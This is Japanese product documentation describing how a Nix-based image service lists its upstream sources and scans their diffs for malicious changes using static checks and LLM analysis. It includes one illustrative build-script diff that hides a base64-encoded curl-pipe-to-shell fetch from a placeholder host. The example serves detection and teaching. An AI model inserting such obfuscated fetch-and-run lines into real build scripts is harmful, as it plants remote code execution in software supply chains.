上流のマルウェア検知
Takumi Images は、イメージに入る上流ソースの変化を継続的に監視し、悪意ある変更の兆候を、イメージに取り込まれる前の差分の段階で探します。 この監視が成り立つのは、ビルドの性質上、監視すべき対象を漏れなく列挙できるからです。
監視できる理由
Takumi Images の各イメージは、密閉ビルド(hermetic build)で作られています。 Nix は derivation ごとにサンドボックスを作ってビルドし、宣言していない入力(ネットワークや、宣言外のファイル)へのアクセスを遮断します。 唯一の例外が固定出力導出(fixed-output derivation、FOD)で、外部ソースの取得はここに限られ、取得結果のコンテンツハッシュを事前に宣言しなければなりません。 このため、あるイメージのビルドグラフをたどれば、そこに入った全ソース(ビルドツール自体のソースを含む)の上流 URL、リビジョン、ハッシュを機械的に列挙できます。 この列挙のしくみそのものはNix のビルド入力の導出で扱います。
継続的な監視
列挙した上流ソースは、継続的に監視の対象になります。 監視ジョブが各ソースの現在地を定期的に確認し、前回確認した時点からの差分を全量取得します。 差分には、コミット、リリース、tarball の内容変化が含まれます。 取りこぼしのない全量取得が、次に述べる解析の前提です。
差分の解析
取得した差分は、AI(LLM)による解析と静的な検査を組み合わせて調べます。 解析器が探すのは、難読化されたコードの追加、ビルドスクリプトへの不審な変更、認証情報へのアクセスといった、悪意ある変更に特徴的な兆候です。 静的な検査が機械的に再現できるパターンを担当し、AI による解析が差分の文脈を読んで意図を判定します。
たとえば、ビルドスクリプトに次のような変更が差分として現れれば、解析器が疑わしい変更として拾う対象になります(説明のための一例であり、実在のインシデントや実際のイメージで検出された変更ではありません)。
configure_and_build() {
./configure --prefix="$PREFIX"
+ eval "$(printf '%s' 'Y3VybCAtcyBodHRwczovL2V4YW1wbGUuaW52YWxpZC9wYXlsb2FkLnNoIHwgc2g=' | base64 -d)"
make -j"$(nproc)"
}
この行は base64 でエンコードされた curl | sh の呼び出しを、ビルドスクリプトの中に埋め込んでいます。
エンコードによる難読化そのものが静的な検査の手がかりになり、AI による解析はデコードした先の意図(外部スクリプトの取得と実行)を文脈から判定します。
上流のビルドスクリプトを経路にした実際の事件としては、2024年に発覚した xz-utils のバックドア(CVE-2024-3094)があります。
このケースでは、Git リポジトリ自体には現れない配布用 tarball だけに、ビルド時にコードを注入する m4/build-to-host.m4 の改変が仕込まれていました(参照: XZ Utils backdoor - Wikipedia)。
兆候が見つかったとき
兆候が見つかったバージョンは、そのまま自動では取り込まれません。 担当者のレビューを経てから、取り込むかどうかを判断します。 判断がつくまでのあいだ、該当バージョンの取り込みは保留されます。
検知の限界
この仕組みは、完全ではありません。 悪意ある変更かどうかの判定には、原理的に見逃しがあり得ます。 巧妙に紛れ込ませた変更ほど、差分に現れる兆候は薄くなります。 目指しているのは、混入を完全に防ぐことではなく、混入が公開前に見つかる可能性を高めることです。 利用者から見た価値と、この仕組みの対象に含まれない脅威はマルウェア耐性にまとめています。